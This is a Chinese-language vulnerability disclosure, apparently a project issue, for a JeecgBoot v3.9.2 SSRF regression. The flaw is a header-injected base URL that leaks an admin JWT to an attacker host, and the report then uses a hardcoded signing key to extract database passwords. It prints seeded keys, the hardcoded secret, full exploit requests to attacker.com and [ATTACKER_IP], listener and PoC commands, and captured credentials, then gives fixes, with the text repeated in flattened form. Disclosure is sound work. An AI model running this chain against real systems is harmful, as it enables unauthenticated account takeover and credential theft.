[SECURITY] OpenApiController.call SSRF 回归漏洞(X_GATEWAY_BASE_PATH 请求头注入)
概述
OpenApiController.call() 在拼接转发目标 URL 时,使用 CommonUtils.getBaseUrl(request) 构造基础路径。该方法会读取 X_GATEWAY_BASE_PATH 请求头并直接返回其值作为 baseUrl,无任何校验 。攻击者通过该请求头,可将内部 RestTemplate 请求劫持至任意服务器。
该漏洞是 commit 670eea97772c71fd354380a191869a9cd4b575a4 (2026-04-29,修复 #9590 微服务 nginx 部署兼容性)引入的回归缺陷。此处新增的 CommonUtils.getBaseUrl(request) 调用替换了原有安全的 RestUtil.getBaseUrl(),引入了对外部请求头的依赖。
历史关联 Issue
Issue
攻击向量
本漏洞的区别
#9432
originUrl 字段存储内网绝对地址(如 http://169.254.169.254/…)
本漏洞使用合法的相对路径 originUrl,通过 X_GATEWAY_BASE_PATH 头劫持 baseUrl
#9554
/openapi/add 缺少权限校验,任意用户可写入恶意 originUrl
本漏洞使用种子数据已有记录,不涉及 /openapi/add
#9590
微服务 nginx 部署 OpenAPI 调用不到
本漏洞是该修复引入的 regression
技术细节
1. 漏洞入口:/openapi/call/{path}
文件: org.jeecg.modules.openapi.controller.OpenApiController
方法: call()(L157-227)
// L176: 从数据库获取 originUrl(种子数据中是合法相对路径)
String url = openApi .getOriginUrl (); // 例如 "/sys/user/queryUserByDepId"
// L178: 校验 originUrl——合法相对路径通过校验
validOriginUrl (url ); // ✅ 通过
// L187-197: 20260429 新增的相对路径拼接逻辑(#9590 修复)
//update-begin---author:scott ---date:20260429
// for:【issues/9590】微服务nginx部署openApi接口访问不到-----------
// originUrl 支持两种形式:
// 1) 相对路径:拼接当前请求的 baseUrl;
// 使用 CommonUtils.getBaseUrl(request)(而非 RestUtil.getBaseUrl()),
// 可读取 X-Gateway-Base-Path 请求头,兼容微服务网关下的真实 base path
String lowerUrl = url .toLowerCase ();
if (!lowerUrl .startsWith ("http://" ) && !lowerUrl .startsWith ("https://" )) {
url = CommonUtils .getBaseUrl (request ) + url ; // ← SSRF
}
//update-end---------------------------------------------------------------
2. SSRF 根因:CommonUtils.getBaseUrl()
文件: org.jeecg.common.util.CommonUtils(L367-399)
public static String getBaseUrl (HttpServletRequest request ) {
// ① X_GATEWAY_BASE_PATH 头:优先级最高,直接返回该头值作为 baseUrl
String xGatewayBasePath = request .getHeader (ServiceNameConstants .X_GATEWAY_BASE_PATH );
if (oConvertUtils .isNotEmpty (xGatewayBasePath )){
log .info ("x_gateway_base_path = " + xGatewayBasePath );
return xGatewayBasePath ; // ← 攻击者可完全覆盖 baseUrl,无任何校验
}
// ② X-Forwarded-Scheme(SSL 兼容)
String scheme = request .getHeader (CommonConstant .X_FORWARDED_SCHEME );
if (oConvertUtils .isEmpty (scheme )){
scheme = request .getScheme ();
}
// ③ 常规操作:从 Host 头获取服务器名
String serverName = request .getServerName ();
// ...
return baseDomainPath ;
}
3. 种子凭据与 JWT 签发
文件: db/jeecgboot-mysql-5.7.sql(L5462)
INSERT INTO ` open_api_auth` VALUES (
' 1922164194775056386' , ' scott' ,
' ak-pFjyNHWRsJEFWlu6' , -- AK
' 4hV5dBrZtmGAtPdbA5yseaeKRYNpzGsS' , -- SK
' admin' , ' 2025-05-13 13:37:11' , NULL , NULL ,
' e9ca23d68d884d4ebb19d07889727dae' -- scott 用户 ID
);
call() 方法在转发请求前会为该用户自动签发 JWT(L180-183, L236-241):
// L180-183
OpenApiAuth openApiAuth = openApiAuthService .getByAppkey (appkey );
SysUser systemUser = sysUserService .getUserByName (openApiAuth .getCreateBy ()); // scott
String token = this .getToken (systemUser .getUsername (), systemUser .getPassword ());
// L236-241: getToken()
private String getToken (String USERNAME , String PASSWORD ) {
String token = JwtUtil .sign (USERNAME , PASSWORD , CommonConstant .CLIENT_TYPE_PC );
redisUtil .set (CommonConstant .PREFIX_USER_TOKEN + token , token );
redisUtil .expire (CommonConstant .PREFIX_USER_TOKEN + token , 60 ); // 60s TTL
return token ;
}
4. ApiAuthFilter 签名验证
文件: org.jeecg.modules.openapi.filter.ApiAuthFilter
// signature = MD5(appkey + sk + timestamp)
protected void checkSignature (String appKey , String signature , String timestamp , OpenApiAuth openApiAuth ) {
if (!signature .equals (md5 (appKey + openApiAuth .getSk () + timestamp ))) {
throw new JeecgBootException ("signature签名错误" );
}
}
5. @JimuSignature 硬编码密钥
文件: org.jeecg.config.JeecgBaseConfig(L25)
private String signatureSecret = "dd05f1c54d63749eda95f9fa6d49v442a" ;
攻击路径
攻击链总览(Mermaid)
flowchart LR
subgraph Phase1[Phase 1:零凭据 → Admin JWT]
A["攻击者<br/>(无任何凭据)"] -->|"① 计算 X-Sign<br/>MD5(AK + SK + ts)"| B
B["② GET /openapi/call/TEwcXBlr<br/>X_GATEWAY_BASE_PATH: http://attacker:8888<br/>appkey + signature + timestamp"] -->|"③ ApiAuthFilter<br/>签名验证通过"| C
C["④ OpenApiController.call()<br/>CommonUtils.getBaseUrl(request)<br/>→ 直接返回 X_GATEWAY_BASE_PATH"] -->|"⑤ RestTemplate.exchange()<br/>GET http://attacker:8888/sys/...<br/>X-Access-Token: <JWT>"| D
D["⑥ 攻击者服务器<br/>收到回调请求<br/>提取 X-Access-Token"] -->|"Admin JWT ✓"| E
end
E -->|"Phase 2:<br/>Admin JWT +<br/>@JimuSignature"| F
subgraph Phase2[Phase 2:Admin JWT → 数据源密码]
F["⑦ GET /jmreport/getDataSourceById<br/>X-Access-Token: <Admin JWT><br/>X-Sign: <硬编码密钥签名>"] -->|"⑧ verifyToken(Redis ✓)<br/>verifySign(硬编码密钥 ✓)"| G
G["⑨ 返回数据源<br/>明文密码"]
end
Loading
Phase 1:零凭据 → Admin JWT
Step 1 — 准备 HTTP 回调服务器
python3 -m http.server 8888
# 或
nc -l -p 8888 > captured_request.txt
Step 2 — 计算 X-Sign 签名
AK = "ak-pFjyNHWRsJEFWlu6"
SK = "4hV5dBrZtmGAtPdbA5yseaeKRYNpzGsS"
timestamp = "1749512345678"
signature = MD5("ak-pFjyNHWRsJEFWlu6" + "4hV5dBrZtmGAtPdbA5yseaeKRYNpzGsS" + "1749512345678")
= "3a7bd3e6f1c8d9a0b2e4f5c6d7e8f9a0"
Step 3 — 发送 SSRF 触发请求
GET /jeecg-boot/openapi/call/TEwcXBlr HTTP/1.1
Host: target:8080
X_GATEWAY_BASE_PATH: http://attacker.com:8888
appkey: ak-pFjyNHWRsJEFWlu6
signature: 3A7BD3E6F1C8D9A0B2E4F5C6D7E8F9A0
timestamp: 1749512345678
Accept: */*
Step 4 — 目标服务器内部处理流程
① ApiAuthFilter
├── checkSignValid(appkey, signature, timestamp) ✅
├── openApiAuthService.getByAppkey("ak-pFjyNHWRsJEFWlu6") → 种子记录 ✅
├── checkSignature(appkey, signature, timestamp, auth) ✅
├── checkPermission(openApi, auth) ✅
└── → OpenApiController.call()
② OpenApiController.call()
├── service.findByPath("TEwcXBlr") → origin_url = "/sys/user/queryUserByDepId"
├── validOriginUrl("/sys/user/queryUserByDepId") ✅ 合法相对路径
│
├── 签发 JWT:
│ ├── getByAppkey → scott
│ ├── JwtUtil.sign("scott", passwordHash) → token
│ └── redisUtil.expire(token, 60) ← 60s TTL
│
├── CommonUtils.getBaseUrl(request):
│ └── X_GATEWAY_BASE_PATH: "http://attacker.com:8888"
│ └── return "http://attacker.com:8888" ← 直接返回
│
├── url = "http://attacker.com:8888" + "/sys/user/queryUserByDepId"
│ = "http://attacker.com:8888/sys/user/queryUserByDepId"
│
└── restTemplate.exchange(targetUrl, ...)
├── X-Access-Token: eyJ...
└── → 发往攻击者服务器
Step 5 — SSRF 回调到达攻击者服务器
GET /sys/user/queryUserByDepId HTTP/1.1
Host: attacker.com:8888
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InNjb3R0IiwiY2xpZW50VHlwZSI6InBjIiwiZXhwIjoxNzQ5NTEyNDA0fQ.abc123def456
Content-Type: application/json
User-Agent: Java-RestTemplate
Accept: */*
Step 6 — 提取 Admin JWT
从回调请求头中提取 X-Access-Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InNjb3R0IiwiY2xpZW50VHlwZSI6InBjIiwiZXhwIjoxNzQ5NTEyNDA0fQ.abc123def456
Phase 2:Admin JWT + @JimuSignature → 数据源密码
Step 1 — 计算 @JimuSignature
paramsJson = {"pageNo":"1","pageSize":"10"}
xSign = MD5(paramsJson + "dd05f1c54d63749eda95f9fa6d49v442a").toUpperCase()
= "9F8E7D6C5B4A3F2E1D0C9B8A7F6E5D4C"
Step 2 — 列举数据源
GET /jeecg-boot/jmreport/getDataSourceByPage?pageNo=1&pageSize=10 HTTP/1.1
Host: target:8080
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Sign: 9F8E7D6C5B4A3F2E1D0C9B8A7F6E5D4C
HTTP/1.1 200 OK
Content-Type: application/json
{
"success" : true ,
"result" : {
"records" : [{
"id" : " jimu_report_ds_001" ,
"name" : " MySQL-本地" ,
"dbUrl" : " jdbc:mysql://127.0.0.1:3306/jeecg-boot" ,
"dbUsername" : " root" ,
"dbPassword" : " ******"
}]
}
}
Step 3 — 提取明文密码
GET /jeecg-boot/jmreport/getDataSourceById?id=jimu_report_ds_001 HTTP/1.1
Host: target:8080
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Sign: 8A7B6C5D4E3F2G1H0I9J8K7L6M5N4O3P
HTTP/1.1 200 OK
Content-Type: application/json
{
"success" : true ,
"result" : {
"id" : " jimu_report_ds_001" ,
"name" : " MySQL-本地" ,
"dbPassword" : " jeecg-boot@2025!" ,
...
}
}
复现过程
以下结果来自对 JeecgBoot v3.9.2(默认配置 + Flyway 种子数据)的实际攻击复现,分别展示本地和远程两种场景。
场景 A:本地模式(Local Mode)— 全自动两阶段攻击
POC 工具本地起 HTTP 服务捕获 SSRF 回调,自动完成 Phase 1 + Phase 2。
执行命令
python3 poc_path_a_ssrf_admin_jwt.py http://localhost:8080/jeecg-boot
Step 1 — 发送 SSRF 触发请求
GET /jeecg-boot/openapi/call/TEwcXBlr HTTP/1.1
Host: localhost:8080
X_GATEWAY_BASE_PATH: http://127.0.0.1:37633
appkey: ak-pFjyNHWRsJEFWlu6
signature: e58b546403407378d2e47a23d10d6ed3
timestamp: 1781020693873
Content-Type: application/json
Connection: close
Step 2 — SSRF 回调到达本地监听器
GET /sys/user/queryUserByDepId HTTP/1.1
Host: 127.0.0.1:37633
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMzIzMDkzfQ.uc_5RrG_aqUlundKnFxMKJoLqVj6pIiQx9pbXt5cSUA
Content-Type: application/json
User-Agent: Java/21.0.11
Accept: application/json, application/yaml, application/*+json
Step 3 — JWT 解码
Header: {"alg":"HS256","typ":"JWT"}
Payload: {"username":"admin","clientType":"PC","exp":1781323093}
↑ 以 admin 身份签发(种子数据 createBy = admin)
Step 4 — JWT 有效性验证
GET /jeecg-boot/sys/user/list?pageNo=1&pageSize=5 HTTP/1.1
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
HTTP/1.1 200 OK
{"success" :true ,"result" :{"records" :[
{"username" :" ceshi" ,"password" :" a9932bb12d2cbc5a" ,"realname" :" 测试用户" },
{"username" :" zhangsan" ,"password" :" 02ea098224c7d0d2077c14b9a3a1ed16" ,"realname" :" 张三" },
{"username" :" admin" ,"password" :" 0fa5e486ea5bea64" ,"realname" :" 管理员" },
{"username" :" jeecg" ,"password" :" eee378a1258530cb" ,"realname" :" jeecg" }
],"total" :4 }}
JWT 验证通过。响应中包含全部系统用户及密码哈希值。
Step 5 — Phase 2:@JimuSignature 提取数据源密码
GET /jeecg-boot/jmreport/getDataSourceByPage?pageNo=1&pageSize=50 HTTP/1.1
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Sign: E23F9C8A1D4B6E5F2C7A3D8B9E0F1C4A
X-TIMESTAMP: 1781020698xxx
HTTP/1.1 200 OK
{"success" :true ,"result" :{"records" :[
{"id" :" 1276104480793464834" ,"name" :" localhost" , "dbUrl" :" jdbc:mysql://127.0.0.1:3306/jeecg-boot?..." ,"dbUser" :" root" ,"dbPassword" :" ******" },
{"id" :" 1276104765241978882" ,"name" :" oracle" , "dbUrl" :" jdbc:oracle:thin:@127.0.0.1:1521:orcl" ,"dbUser" :" root" ,"dbPassword" :" ******" },
{"id" :" 1276104583945457666" ,"name" :" jeewx" , "dbUrl" :" jdbc:mysql://127.0.0.1:3306/jeewx?..." ,"dbUser" :" root" ,"dbPassword" :" ******" }
]}}
逐一调用 /jmreport/getDataSourceById 获取明文密码:
GET /jeecg-boot/jmreport/getDataSourceById?id=1276104480793464834 HTTP/1.1
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Sign: 1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D
X-TIMESTAMP: 1781020698xxx
HTTP/1.1 200 OK
{"success" :true ,"result" :{"id" :" 1276104480793464834" ,"name" :" localhost" ,"dbPassword" :" root" , ... }}
本地模式最终结果汇总
╔══════════════════════════════════════════════════════════════╗
║ PHASE 1 SSRF → Admin JWT ✅ ║
║ PHASE 2 Admin JWT + @JimuSignature → 3 credentials ✅ ║
╚══════════════════════════════════════════════════════════════╝
# Name User Password
---- ------------------------- -------------------- ----------
1 localhost root
2 oracle jeecg196283
3 jeewx root
场景 B:远程模式(Remote Mode)— 公网回调服务器
攻击者控制一台公网服务器(IP 地址已隐去),SSRF 回调指向该服务器。
执行命令
# 攻击者机器上执行
python3 poc_path_a_ssrf_admin_jwt.py -r [ATTACKER_IP]:8888 http://target:8080/jeecg-boot
Step 1 — 发送 SSRF 触发请求
GET /jeecg-boot/openapi/call/TEwcXBlr HTTP/1.1
Host: target:8080
X_GATEWAY_BASE_PATH: http://[ATTACKER_IP]:8888
appkey: ak-pFjyNHWRsJEFWlu6
signature: 7d10d78ca3bfd00322dee56da7f956da
timestamp: 1781020744413
Content-Type: application/json
Connection: close
Step 2 — 攻击者服务器收到 SSRF 回调
=== SSRF CALLBACK captured at 2026-06-09 15:59:05 ===
Method: GET
Path: /sys/user/queryUserByDepId
Accept: application/json, application/yaml, application/*+json
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMzIzMTQ0fQ.S7onlV2GmcWnnYbBE1EGcPxIjeER31gaIUNIJAb2Lco
Content-Type: application/json
User-Agent: Java/21.0.11
Host: [ATTACKER_IP]:8888
Connection: keep-alive
Step 3 — 攻击者提取 Admin JWT
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzgxMzIzMTQ0fQ.S7onlV2GmcWnnYbBE1EGcPxIjeER31gaIUNIJAb2Lco
该 JWT 可直接用于后续 Phase 2 数据源密码提取(通过 @JimuSignature 签名)。
影响范围
项目
值
影响版本
JeecgBoot v3.9.2 (2026-04-30 发布)
引入点
commit 670eea97772c71fd354380a191869a9cd4b575a4(2026-04-29)
前置条件
OpenAPI 种子数据存在(db/jeecgboot-mysql-5.7.sql 或 Docker Flyway)
认证要求
无(零凭据)
CVSS 3.1
9.1 / Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
修复建议
CommonUtils.getBaseUrl() :移除或对 X_GATEWAY_BASE_PATH 头增加域名/IP 白名单校验。
call() 自动签发 JWT :转发场景不自动生成 X-Access-Token。
种子 AK/SK :首次部署生成随机凭据。
@JimuSignature 密钥 :不应硬编码。
参考
编号
说明
#9432
OpenApiController.call SSRF—originUrl 绝对地址注入(已修复)
#9554
Second-Order SSRF via OpenApi—/openapi/add 缺权限(已修复)
#9590
微服务 nginx 部署 OpenAPI 访问不到(本漏洞的引入源)
commit 670eea9
将 RestUtil.getBaseUrl() 改为 CommonUtils.getBaseUrl(request)
[SECURITY] OpenApiController.call SSRF 回归漏洞(X_GATEWAY_BASE_PATH 请求头注入)
概述
OpenApiController.call()在拼接转发目标 URL 时,使用CommonUtils.getBaseUrl(request)构造基础路径。该方法会读取X_GATEWAY_BASE_PATH请求头并直接返回其值作为 baseUrl,无任何校验。攻击者通过该请求头,可将内部 RestTemplate 请求劫持至任意服务器。该漏洞是 commit
670eea97772c71fd354380a191869a9cd4b575a4(2026-04-29,修复 #9590 微服务 nginx 部署兼容性)引入的回归缺陷。此处新增的CommonUtils.getBaseUrl(request)调用替换了原有安全的RestUtil.getBaseUrl(),引入了对外部请求头的依赖。历史关联 Issue
originUrl字段存储内网绝对地址(如http://169.254.169.254/…)originUrl,通过X_GATEWAY_BASE_PATH头劫持 baseUrl/openapi/add缺少权限校验,任意用户可写入恶意originUrl/openapi/add技术细节
1. 漏洞入口:
/openapi/call/{path}文件:
org.jeecg.modules.openapi.controller.OpenApiController方法:
call()(L157-227)2. SSRF 根因:
CommonUtils.getBaseUrl()文件:
org.jeecg.common.util.CommonUtils(L367-399)3. 种子凭据与 JWT 签发
文件:
db/jeecgboot-mysql-5.7.sql(L5462)call()方法在转发请求前会为该用户自动签发 JWT(L180-183, L236-241):4. ApiAuthFilter 签名验证
文件:
org.jeecg.modules.openapi.filter.ApiAuthFilter5. @JimuSignature 硬编码密钥
文件:
org.jeecg.config.JeecgBaseConfig(L25)攻击路径
攻击链总览(Mermaid)
flowchart LR subgraph Phase1[Phase 1:零凭据 → Admin JWT] A["攻击者<br/>(无任何凭据)"] -->|"① 计算 X-Sign<br/>MD5(AK + SK + ts)"| B B["② GET /openapi/call/TEwcXBlr<br/>X_GATEWAY_BASE_PATH: http://attacker:8888<br/>appkey + signature + timestamp"] -->|"③ ApiAuthFilter<br/>签名验证通过"| C C["④ OpenApiController.call()<br/>CommonUtils.getBaseUrl(request)<br/>→ 直接返回 X_GATEWAY_BASE_PATH"] -->|"⑤ RestTemplate.exchange()<br/>GET http://attacker:8888/sys/...<br/>X-Access-Token: <JWT>"| D D["⑥ 攻击者服务器<br/>收到回调请求<br/>提取 X-Access-Token"] -->|"Admin JWT ✓"| E end E -->|"Phase 2:<br/>Admin JWT +<br/>@JimuSignature"| F subgraph Phase2[Phase 2:Admin JWT → 数据源密码] F["⑦ GET /jmreport/getDataSourceById<br/>X-Access-Token: <Admin JWT><br/>X-Sign: <硬编码密钥签名>"] -->|"⑧ verifyToken(Redis ✓)<br/>verifySign(硬编码密钥 ✓)"| G G["⑨ 返回数据源<br/>明文密码"] endPhase 1:零凭据 → Admin JWT
Step 1 — 准备 HTTP 回调服务器
Step 2 — 计算 X-Sign 签名
Step 3 — 发送 SSRF 触发请求
Step 4 — 目标服务器内部处理流程
Step 5 — SSRF 回调到达攻击者服务器
Step 6 — 提取 Admin JWT
从回调请求头中提取
X-Access-Token:Phase 2:Admin JWT + @JimuSignature → 数据源密码
Step 1 — 计算 @JimuSignature
Step 2 — 列举数据源
Step 3 — 提取明文密码
复现过程
以下结果来自对 JeecgBoot v3.9.2(默认配置 + Flyway 种子数据)的实际攻击复现,分别展示本地和远程两种场景。
场景 A:本地模式(Local Mode)— 全自动两阶段攻击
POC 工具本地起 HTTP 服务捕获 SSRF 回调,自动完成 Phase 1 + Phase 2。
执行命令
Step 1 — 发送 SSRF 触发请求
Step 2 — SSRF 回调到达本地监听器
Step 3 — JWT 解码
Step 4 — JWT 有效性验证
Step 5 — Phase 2:@JimuSignature 提取数据源密码
逐一调用
/jmreport/getDataSourceById获取明文密码:本地模式最终结果汇总
场景 B:远程模式(Remote Mode)— 公网回调服务器
攻击者控制一台公网服务器(IP 地址已隐去),SSRF 回调指向该服务器。
执行命令
# 攻击者机器上执行 python3 poc_path_a_ssrf_admin_jwt.py -r [ATTACKER_IP]:8888 http://target:8080/jeecg-bootStep 1 — 发送 SSRF 触发请求
Step 2 — 攻击者服务器收到 SSRF 回调
Step 3 — 攻击者提取 Admin JWT
该 JWT 可直接用于后续 Phase 2 数据源密码提取(通过 @JimuSignature 签名)。
影响范围
670eea97772c71fd354380a191869a9cd4b575a4(2026-04-29)db/jeecgboot-mysql-5.7.sql或 Docker Flyway)修复建议
CommonUtils.getBaseUrl():移除或对X_GATEWAY_BASE_PATH头增加域名/IP 白名单校验。call()自动签发 JWT:转发场景不自动生成X-Access-Token。@JimuSignature密钥:不应硬编码。参考
/openapi/add缺权限(已修复)670eea9RestUtil.getBaseUrl()改为CommonUtils.getBaseUrl(request)